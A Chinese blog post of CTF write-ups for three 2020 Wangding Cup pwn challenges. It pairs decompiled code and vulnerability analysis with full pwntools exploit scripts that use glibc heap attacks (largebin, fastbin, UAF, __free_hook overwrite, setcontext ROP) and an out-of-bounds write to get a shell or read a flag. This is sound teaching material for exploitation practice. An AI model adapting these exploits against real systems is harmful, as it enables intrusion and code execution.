2020网鼎杯

字数统计: 3.3k字   |   阅读时长≈ 16分

2020网鼎杯部分题目WriteUp。

orwpwn

程序分析

去掉了符号表，不过问题不大，唯一有点注意的是堆分配函数，最开始以为是malloc，后面调试是才知道是 calloc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __usercall Delete@<rax>(__int64 a1@<rbp>)
{
  unsigned int idx; // [rsp-Ch] [rbp-Ch]
  __int64 v3; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v3 = a1;
  pirntf1("index>> ");
  idx = get_num((__int64)&v3);
  if ( chunk_list[2 * idx] && chunk_num )
  {
    Free(chunk_list[2 * idx]);
    --chunk_num;
  }
  return 0LL;
}

漏洞点很明显，delete函数没有将堆指针清空。但是这里只限制删除2次。Create函数中，对创建堆块的大小没有限制，但只能申请19次。

利用分析

这题，我做的十分复杂。主要是受到Create函数没有限制堆块大小，所以就一下想到 largebin attack去了。所以后面就越做越复杂。不过还是先说说自己的方法，然后再说说BlueSheep学长的方法。

  1. 修改 delete_num

由于delete_num为2，只能删除2次。所以想到把这个值改大，并且程序没有开启PIE。而且对申请堆块没有限制。所以就先用largebin attack将delete_num改为一个堆块地址。由于2.31对 largebin attack加了保护，导致我们只能修改 largebin->bk_nextsize这一个地方，所以2.31下的 largebin attack一次只能修改一个地址。这里就先修改 delete_num。

  1. 修改 global_max_fast

现在，我们能够无限次delete，也能够UAF。但是这里是用 calloc分配，所以 tcache相关的攻击都无效了，需要考虑 fastbin attack。

这里，我主要参考了这篇文章和BlueSheep学长的这篇文章。

大概思路就是先修改global_max_fast，来使得我们能够将大块放到fastbin中，然后劫持 main_arena。

这里，我们执行第二次 largebin attack来修改 global_max_fast的值，将其改为 一个堆块值。

  1. 劫持 main_arena

这里劫持 main_arena的方法，是我想重点介绍的。我们通过上一步将 global_max_fast改为一个堆块值后，我们释放 8个 0x100的堆块。

此时，会填满 tcache，然后最后一个放入 fastbin中。此时 main_arena开头处 会被填入一个 1。我们通过错位便可构造一个 chunk_size 为 0x100.

然后，我们使用 fastbin attack，修改 fd指向 fake_chunk。最后分配出来，就可以劫持 main_arena数组。

  1. 修改 free_hook

这里劫持了 main_arena方法后，其实就有很多做法了。比较传统的是修改 top chunk的地址为 free_hook之上的地址。然后后续就可以不断分配 top chunk分配到 free_hook了。但是这里我不推荐，因为我们前面通过 largebin attack留下了很多 largebin。这里分配堆块时，会先去切割 largebin，这里就会报错。

我采取另一种做法：我们先申请一个 0x70的堆块，在chunk_size_list中留下 0x70。然后将 main_arena中 0x70 fastbin 链表指向 chunk_size_list中0x70的位置。最后，我们申请 0x70的堆块，就能够再次劫持 chunk_list了。

  1. getshell

劫持了chunk_list，我们后面就可以直接修改 free_hook为 magic_addr。这个magic_addr我在之前 2.31攻击中讲过，这次不赘述。但是这里还是要说明一下我自己写得那个构造 magic_frame的函数（因为，我自己都忘记这是啥了:）

1
2
3
4
5
6
7
8
9
def magic_frame(rdx_rdi, secontext_addr, rdi, rsi, rdx, rsp, rip):
    payload = p64(0) + p64(rdx_rdi) + p64(0) * 2  #rdx
    payload += p64(secontext_addr)             #call func_addr
    payload = payload.ljust(0x68, b'\x00')
    payload += p64(rdi) + p64(rsi)  # rdi , rsi
    payload += p64(0) * 2 + p64(rdx) + p64(0x18) + p64(0)  # rdx
    payload += p64(rsp) + p64(rip)  # rsp, rip
    payload = payload.ljust(0xf8, b'\x00')
    return payload

这个函数，可以直接构造 对应2.31magic_gadget所用的frame数据。7个参数的说明分别如下：

1
2
3
4
5
6
7
rdx_rdi:	magic_frame地址
setcontext_addr：   setcontext+61
rdi:		我们要执行的函数的rdi
rsi:		我们要执行的函数的rsi
rdx：		我们要执行函数的rdx
rsp：		我们执行完函数的栈顶
rip:		我们要执行函数的地址

当然，这里我直接构造ORW的rop链，所以我exp中的rip就是ret地址。还有一个要点，我们自己后续构造的rsp前面要加上p64(0)，用来让rip占位。

正常思路：

上面我的思路，我踩了很多坑才达到了劫持chunk_list的目的。但是，如果我们一开始就想着如何劫持chunk_list。那么我们可以使用 unlink attack。

这里 BlueSheep学长的思路就是通过构造 unlink attack 来劫持 chunk_list，劫持完后的思路大同小异。exp我就不放了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
from pwn import *
from ctypes import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

filename="./pwn"
debug = 1
if debug == 1:
    p = process(filename)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF(filename)

def Create(idx, size, content):
    p.sendlineafter('Your Choice:\n', '1')
    p.sendlineafter('index>> ', str(idx))
    p.sendlineafter('size>> ', str(size))
    p.sendafter('name>> ', content)

def Delete(idx):
    p.sendlineafter('Your Choice:\n', '2')
    p.sendlineafter('index>> ', str(idx))

def Edit(idx, content):
    p.sendlineafter('Your Choice:\n', '3')
    p.sendlineafter('index>> ', str(idx))
    p.sendafter('name>> ', content)

def Show(idx):
    p.sendlineafter('Your Choice:\n', '5')
    p.sendlineafter('index>> ', str(idx))

def magic_frame(rdx_rdi, secontext_addr, rdi, rsi, rdx, rsp, rip):
    payload = p64(0) + p64(rdx_rdi) + p64(0) * 2  #rdx
    payload += p64(secontext_addr)             #call func_addr
    payload = payload.ljust(0x68, b'\x00')
    payload += p64(rdi) + p64(rsi)  # rdi , rsi
    payload += p64(0) * 2 + p64(rdx) + p64(0x18) + p64(0)  # rdx
    payload += p64(rsp) + p64(rip)  # rsp, rip
    payload = payload.ljust(0xf8, b'\x00')
    return payload

delete_num = 0x404080
chunk_list = 0x4040e8
def Pwn():
    Create(0, 0x4a8, 'a')
    Create(1, 0x70, './flag\x00')
    Create(2, 0x478, 'a')
    Create(3, 0xf0, 'b')

    for i in range(7):
        Create(4+i, 0xf0, 'a') #4-10

    Delete(0)
    Show(0)
    main_arena = u64(p.recvuntil('\x7f').ljust(8, b'\x00'))- 96
    libc_addr = main_arena - 0x10 - libc.sym['__malloc_hook']
    libc.address = libc_addr
    print("libc_addr:",hex(libc_addr))
    free_hook = libc.sym['__free_hook']

    #make chunk0 into largebin
    Create(11, 0x550, 'c')
    #make chunk1 into unsortedbin
    Delete(2)

    payload = 'a'*0x10
    Edit(0, payload)
    Show(0)
    p.recvuntil('a'*0x10)
    heap_addr = u64(p.recvuntil('\n', drop=True).ljust(8, b'\x00'))
    heap_base = heap_addr - 0x290
    print("heap_addr:",hex(heap_addr))

    print("=============>largebin attack to change delete_num")
    #largbin attack to change delete_num
    payload = p64(main_arena+1136) + p64(main_arena+1136) + p64(heap_addr) + p64(delete_num-0x20)
    Edit(0, payload)
    #gdb.attach(p, 'bp 0x4017b5')
    Create(12, 0x500, 'd')
    payload = p64(heap_base+0x850) + p64(main_arena+1136) + p64(heap_base+0x850) + p64(heap_base+0x850)
    Edit(0, payload)
    payload = p64(main_arena+1136) + p64(heap_addr) + p64(heap_addr) + p64(heap_addr)
    Edit(2, payload)

    setcontext = libc.sym['setcontext']
    p_rdi_r = 0x0000000000026b72 + libc.address
    p_rsi_r = 0x0000000000027529 + libc.address
    p_rdx_r12_r = 0x0000000000011c371 + libc.address
    p_rax_r = 0x000000000004a550 + libc.address
    syscall = 0x0000000000066229 + libc.address
    ret_add = 0x00000000000c0b99 + libc.address
    flag_str_addr = heap_base + 0x2a0
    flag_addr = heap_base + 0x400

    orw = flat([
        p_rdi_r, 0,
        p_rax_r, 3,
        syscall, # close(0)
        p_rax_r, 257,
        p_rdi_r, 0xffffff9c,
        p_rsi_r, flag_str_addr,
        p_rdx_r12_r, 0, 0,
        syscall, # openat(0xffffff9c, "./flag", 0), fd = 0
        p_rax_r, 33,
        p_rdi_r, 3,
        p_rsi_r, 1,
        syscall,  # dup2(3, 1)
        p_rdi_r, 0,
        p_rsi_r, flag_addr,
        p_rdx_r12_r, 0x50, 0,
        p_rax_r, 0,
        syscall, # read(0, flag_address, 0x50)
        p_rdi_r, 1,
        p_rsi_r, flag_addr,
        p_rdx_r12_r, 0x50, 0,
        p_rax_r, 1,
        syscall # write(1, flag_address, 0x50)
    ])
    print("================>change global max_fast")
    max_fast = libc.address + 0x1eeb80
    #largebin attack to change global_max_fast
    Create(13, 0x540, 'a')
    Delete(11)
    Create(14, 0x600, p64(0)+orw)   #7
    Delete(13)
    payload = p64(main_arena+1184) + p64(main_arena+1184) + p64(heap_base+0x1440) + p64(max_fast-0x20)
    Edit(11, payload)
    Create(15, 0x650, 'b')

    payload = p64(heap_base+0x1eb0) + p64(main_arena+1184) + p64(heap_base+0x1eb0) + p64(heap_base+0x1eb0)
    Edit(11, payload)
    payload = p64(main_arena+1184) + p64(heap_base+0x1440) + p64(heap_base+0x1440) + p64(heap_base+0x1440)
    Edit(13, payload)

    for i in range(7):
        Delete(4+i)
    print("==========fastbin attack")
    #gdb.attach(p, 'bp 0x4017b5')
    Delete(3)
    payload = p64(main_arena-1)
    Edit(3, payload)
    Create(16, 0xf0, 'a')
    Create(17, 0xf8, 'b')
    payload = p32(0x64)+b'\x00'*5 + p64(0x4040e8)*5+p64(0x4040e8)*4 + p64(free_hook-0x10) +p64(0)+ p64(main_arena+0x60)*2 +p64(main_arena+0x70)*2+p64(main_arena+0x80)*2+p64(main_arena+0x90)*2
    payload += p64(main_arena+0xa0)*2+p64(main_arena+0xb0)*2+p64(main_arena+0xc0)*2+p64(main_arena+0xd0)*2+p64(main_arena+0xe0)*2+p64(main_arena+0xf0)*2
    Edit(17, payload)

    Edit(0, './flag\x00')

    gdb.attach(p, 'bp 0x4017b5')
    frame_addr = heap_base +0x19b0
    orw_addr = heap_base + 0x2418
    ret = 0x00000000000c0b99 + libc_addr
    # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    magic_addr = libc_addr + 0x154930
    Create(18, 0x60, p64(free_hook))
    Edit(1, p64(magic_addr))
    #rdx_rdi, secontext_addr, rdi, rsi, rdx, rsp, rip
    payload = magic_frame(frame_addr, setcontext + 61, heap_base, 0x1000, 7, orw_addr, ret)
    Edit(12, payload)
    print("============magic frame orw:")
    Delete(12)

    p.interactive()

Pwn()

message_system

程序分析

程序有很多函数，但是只要头铁不断逆，就能分清楚整个逻辑和找到漏洞函数。毕竟外表上也是一个常见的菜单题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
unsigned __int64 __fastcall insert(__int64 *list_begin, __int64 list_ptr, __int64 addr)
{
  __int64 new_list; // rax
  __int64 addr_ptr; // rax
  __int64 list_begin_ptr; // rbx
  __int64 *list_ptr_2; // rax
  __int64 begin_addr_2; // r12
  __int64 ptr_addr; // rbx
  __int64 *begin_ptr; // rax
  __int64 v11; // [rsp+8h] [rbp-58h]
  __int64 list_ptr_1; // [rsp+10h] [rbp-50h]
  __int64 *list_begin1; // [rsp+18h] [rbp-48h]
  __int64 begin_addr; // [rsp+20h] [rbp-40h]
  __int64 new_list_2; // [rsp+28h] [rbp-38h]
  __int64 totalnum; // [rsp+30h] [rbp-30h]
  __int64 chunknum; // [rsp+38h] [rbp-28h]
  __int64 new_list_1; // [rsp+40h] [rbp-20h]
  unsigned __int64 v19; // [rsp+48h] [rbp-18h]

  list_begin1 = list_begin;
  list_ptr_1 = list_ptr;
  v11 = addr;
  v19 = __readfsqword(0x28u);
  totalnum = sub_233C(list_begin, 1uLL, "vector::_M_realloc_insert");
  begin_addr = get_begin_0(list_begin);
  chunknum = getcounts((__int64)&list_ptr_1, (__int64)&begin_addr);
  new_list = extendList((__int64)list_begin1, totalnum);
  new_list_1 = new_list;
  new_list_2 = new_list;
  addr_ptr = ret_value(v11);
  into_stack((__int64)list_begin1, 16 * chunknum + new_list_1, addr_ptr);
  new_list_2 = 0LL;
  list_begin_ptr = get_value_1((__int64)list_begin1);
  list_ptr_2 = (__int64 *)get_ptr_value((__int64)&list_ptr_1);
  new_list_2 = copy_to_new_list(*list_begin1, *list_ptr_2, new_list_1, list_begin_ptr) + 16;
  begin_addr_2 = get_value_1((__int64)list_begin1);
  ptr_addr = list_begin1[1];
  begin_ptr = (__int64 *)get_ptr_value((__int64)&list_ptr_1);
  new_list_2 = copy_to_new_list(*begin_ptr, ptr_addr, new_list_2, begin_addr_2);
  get_value_1((__int64)list_begin1);
  Delete_Old_chunk(*list_begin1, list_begin1[1]);
  Delete_Old_list((__int64)list_begin1, *list_begin1, (list_begin1[2] - *list_begin1) >> 4);
  *list_begin1 = new_list_1;
  list_begin1[1] = new_list_2;
  list_begin1[2] = new_list_1 + 16 * totalnum;
  return __readfsqword(0x28u) ^ v19;
}

漏洞点在 Create函数，创建新堆块后将堆块插入 chunk_list时。如果原来的chunk_list满了，就会拓展chunk_list，其逻辑如上所示。拓展chunk_list，他会把原来的chunk_list的值填入新的chunk_list，然后删掉原来的堆块和原来的chunk_list。这里就造成了 UAF，原来的堆块被释放了，可是新的 chunk_list中仍然有他们的地址。

利用分析

这道题的难点，还在于 每次创建一个堆块写入数据后，程序都会对我们写入的数据和一个随机数数组异或加密。而这个随机数数组是通过如下逻辑生成：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 init_0()
{
  __int64 *chunk1; // rbx
  time_t seed; // rax
  int i; // [rsp+Ch] [rbp-124h]
  char randnum[264]; // [rsp+10h] [rbp-120h]
  unsigned __int64 v5; // [rsp+118h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  alarm(0x3Cu);
  chunk1 = (__int64 *)operator new(0x18uLL);
  memset0((__int64)chunk1);
  init_chunk_0 = (__int64)chunk1;
  init_chunk(chunk1, 0x10uLL);
  seed = time(0LL);
  srand(seed % 8);
  mixchunk = (__int64)malloc(0x408uLL);
  for ( i = 0; i <= 255; ++i )
    randnum[i] = rand() % 10 + 48;
  mixture((_DWORD *)mixchunk, (__int64)randnum, 256);
  return __readfsqword(0x28u) ^ v5;
}

通过时间种子mod 8后，通过rand生成的伪随机数。那么这里我们就可以将这个随机数数组爆破出来。毕竟只有8种情况。

然后我们再写个解密函数，将我们每次输入的数据使用解密函数解密后再输入。这样后面加密后，就变成了正常的数据。

Tips：这里由于加密函数的逻辑不是太难，所以可以直接逆。如果太难了，xmzyshpnc告诉我了一种取巧的方法，以后如果太难了可以使用。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
from ctypes import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

filename="patchmess6"
debug = 1
if debug == 1:
    p = process(filename)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF(filename)

def Create(size, content):
    p.sendlineafter(">>", str(1))
    p.sendlineafter("message size?",str(size))
    p.recvuntil('address: ')
    chunk_addr = int(p.recvuntil('\n', drop=True), 16)
    print("chunk_ptr:",hex(chunk_addr))
    p.sendafter("message data?\n", content)

def Delete(idx):
    p.sendlineafter(">>", str(2))
    p.sendlineafter("message index?",str(idx))

def Show(idx):
    p.sendlineafter(">>", str(3))
    p.sendlineafter("message index?\n",str(idx))

mixid = 0
mixid2 = 0
mixArray = []
def MixArray():
    global mixArray
    mixList = []
    clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
    v4 = clibc.time(None)
    clibc.srand(v4 % 8)
    for i in range(256):
        mixList.append((clibc.rand() % 10) + 48)
    for i in range(256):
        mixArray.append(i)
    id1 = 0
    id2 = 0
    for i in range(256):
        mix1 = mixArray[i]
        id1 = (id1 + mix1 + mixList[id2]) % 256
        mixArray[i] = mixArray[id1]
        mixArray[id1] = mix1
        id2 += 1
    return mixArray

def Decrypt(size, payload):
    global mixid, mixid2, mixArray
    id0 = mixid
    mix0 = mixid2
    mix1 = 0
    mix2 = 0
    for i in range(size):
        id0 = (id0+1) % 256
        mix1 = mixArray[id0]
        mix0 = (mix0 + mix1) % 256
        mix2 = mixArray[mix0]
        mixArray[id0] = mix2
        mixArray[mix0] = mix1
        payload = payload[:i]+p8(u8(payload[i])^mixArray[(mix1+mix2)%256])+payload[i+1:]
    mixid = id0
    mixid2 = mix0
    return payload

def Pwn():
    mix = []
    mix = MixArray()
    #
    for i in range(256):
        print("%x "%mix[i])
    print('\n')
    for i in range(0x10):
        payload = 'a'*0x100
        payload = Decrypt(0x100, payload)
        Create(0x100, payload)
    gdb.attach(p, 'bp $rebase(0x16e1)')
    payload = 'a' * 0x100
    payload = Decrypt(0x100, payload)
    Create(0x100, payload)
    Show(7)
    libc_addr = u64(p.recv(8).ljust(8, '\x00')) - 96 - 0x10 -libc.sym['__malloc_hook']
    print('libc_addr:',hex(libc_addr))
    libc.address = libc_addr
    free_hook = libc.sym['__free_hook']
    system = libc.sym['system']
    print('free_hook:',hex(free_hook))

    for i in range(3):
        payload = 'a'*0x100
        payload = Decrypt(0x100, payload)
        Create(0x100, 'a'*0x100)    #17-19

    # Delete(7)
    # Create(8, p64(free_hook))   #20
    Delete(6)
    Delete(17)
    payload = p64(free_hook)
    payload = payload.ljust(0x100, '\x00')
    payload = Decrypt(0x100, payload)   #18
    Create(0x100, payload)
    payload = '/bin/sh\x00'
    payload = payload.ljust(0x100, '\x00')
    payload = Decrypt(0x100, payload)
    Create(0x100, payload)  #19

    #free_hook
    payload = p64(system)
    payload = payload.ljust(0x100, '\x00')
    payload = Decrypt(0x100, payload)
    Create(0x100, payload)  #20
    #gdb.attach(p, 'bp $rebase(0x16e1)')
    Delete(19)
    p.interactive()

Pwn()

heatmap

程序分析

程序有一个system函数：

1
2
3
sprintf(&s, "%s.png", templatea);
sprintf(&command, aGnuplotESetTer, &s, templatea);
system(&command);

执行system的参数 command是受到 aGnuplotEsetTer影响。而这个数组在data段中紧邻于 point_list之下。

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall get_list(double chunk1, double chunk2)
{
  int p2; // eax
  int p1; // [rsp+20h] [rbp-8h]

  p1 = get_point(chunk1);
  p2 = get_point2(chunk2);
  ++point_list[0x40 * (__int64)p2 + p1];
  return 0LL;
}

而 ponit_list数组有一个 自加功能。这里就存在一个数组越界。

利用分析

数组越界了，且可以自加。那么我们就将 aGnuplotEsetTer的前几位字符串改为 /bin/sh\x00，即可完成 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from ctypes import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

filename="patchheap"
debug = 1
if debug == 1:
    p = process(filename)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF(filename)

def Pwn():
    p.recvuntil('How many points?\n')
    num = 0xff - 0x67 +0x2f +1
    num1 = 0xff - 0x6e +0x62 + 1
    num2 = 0xff-0x75+0x69+1
    num3 = 0xff - 0x70+0x6e+1
    num4 = 0xff - 0x6c+0x2f+1
    num5 = 0xff-0x6f+0x73+1
    num6 = 0xff-0x74+0x68+1
    num7 = 0xff-0x20+1
    p.sendline(str(num+num1+num2+num3+num4+num5+num6+num7))
    p.recvuntil('Input the points:\n')
    payload = "0.0 100.0"
    for i in range(num):
        p.sendline(payload)
    payload = "2.0 100.0"
    for i in range(num1):
        p.sendline(payload)
    payload = "4.0 100.0"
    for i in range(num2):
        p.sendline(payload)
    payload = "5.0 100.0"
    for i in range(num3):
        p.sendline(payload)

    payload = "7.0 100.0"
    for i in range(num4):
        p.sendline(payload)

    payload = "8.0 100.0"
    for i in range(num5):
        p.sendline(payload)

    payload = "10.0 100.0"
    for i in range(num6):
        p.sendline(payload)
    payload = "11.0 100.0"
    for i in range(num7):
        p.sendline(payload)

    gdb.attach(p, 'bp $rebase(0xe62)')
    #p.recvuntil('Input the points:\n')
    p.sendline(payload)

    p.interactive()

Pwn()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing